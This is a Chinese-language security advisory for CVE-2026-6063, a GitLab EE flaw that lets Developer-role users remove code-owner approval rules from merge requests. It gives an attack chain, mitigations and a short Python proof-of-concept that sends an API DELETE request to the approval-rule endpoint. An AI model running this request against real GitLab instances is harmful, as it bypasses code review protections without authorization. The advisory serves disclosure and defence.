CVE-2026-6063 CVSS 4.3 中危

CVE-2026-6063 GitLab EE权限绕过允许移除代码批准规则

披露日期: 2026-05-14

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6063

漏洞类型

访问控制失效

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

GitLab Enterprise Edition

漏洞概述

GitLab企业版（EE）存在一处访问控制漏洞，影响从11.10开始至18.11.3之前的多个版本。由于对合并请求的代码所有者批准规则检查存在缺陷，具有开发者角色的经过身份验证的用户可以在特定条件下绕过权限限制，恶意移除合并请求中的代码所有者批准规则。这可能导致代码合并流程的安全性降低，使未经充分审查的代码被合并，潜在影响代码仓库的完整性。

技术细节

该漏洞的根本原因在于GitLab EE在处理合并请求的代码所有者批准规则时，未正确校验用户的操作权限。在受影响的版本中，当开发者角色的用户尝试修改或删除合并请求的审批规则时，后端API未能充分验证当前用户是否具备管理该特定规则的权限。正常情况下，只有Maintainer或更高权限的用户才能更改安全策略。然而，由于逻辑缺陷，开发者可以通过发送特定的API请求（如DELETE或PUT请求）到合并请求的审批规则端点，从而移除原本强制要求的代码所有者批准。攻击者利用此漏洞可绕过代码审查机制，破坏代码完整性。

攻击链分析

STEP 1

1. 信息收集

攻击者锁定使用受影响GitLab EE版本的目标，并获取一个具有开发者角色的有效账号凭证。

STEP 2

2. 身份认证

攻击者使用开发者账号登录GitLab平台，获取API访问令牌或Session Cookie。

STEP 3

3. 漏洞利用

攻击者构造恶意的API请求，针对特定的合并请求（Merge Request）发送删除代码所有者批准规则的指令。

STEP 4

4. 达成目的

批准规则被成功移除，攻击者随后可以合并未经代码所有者审核的代码，绕过安全检查。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Exploit Concept for CVE-2026-6063
# Description: Remove code owner approval rules via API as a Developer role.

token = 'YOUR_GITLAB_PERSONAL_ACCESS_TOKEN'
gitlab_url = 'https://gitlab.example.com'
project_id = '123'
merge_request_iid = '456'
approval_rule_id = '1' # ID of the code owner rule to remove

headers = {'PRIVATE-TOKEN': token}

# API endpoint to delete an approval rule
url = f"{gitlab_url}/api/v4/projects/{project_id}/merge_requests/{merge_request_iid}/approval_rules/{approval_rule_id}"

response = requests.delete(url, headers=headers)

if response.status_code == 204:
    print("[+] Successfully removed approval rule.")
else:
    print("[-] Failed to remove rule. Status code:", response.status_code)

影响范围

GitLab EE 11.10 至 18.9.7 之前版本

GitLab EE 18.10 至 18.10.6 之前版本

GitLab EE 18.11 至 18.11.3 之前版本

防御指南

临时缓解措施

如果无法立即升级，建议管理员暂时禁用开发者角色的API写入权限，或通过Web应用防火墙（WAF）拦截针对/api/v4/projects/*/merge_requests/*/approval_rules/*的DELETE请求，直到完成补丁更新。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表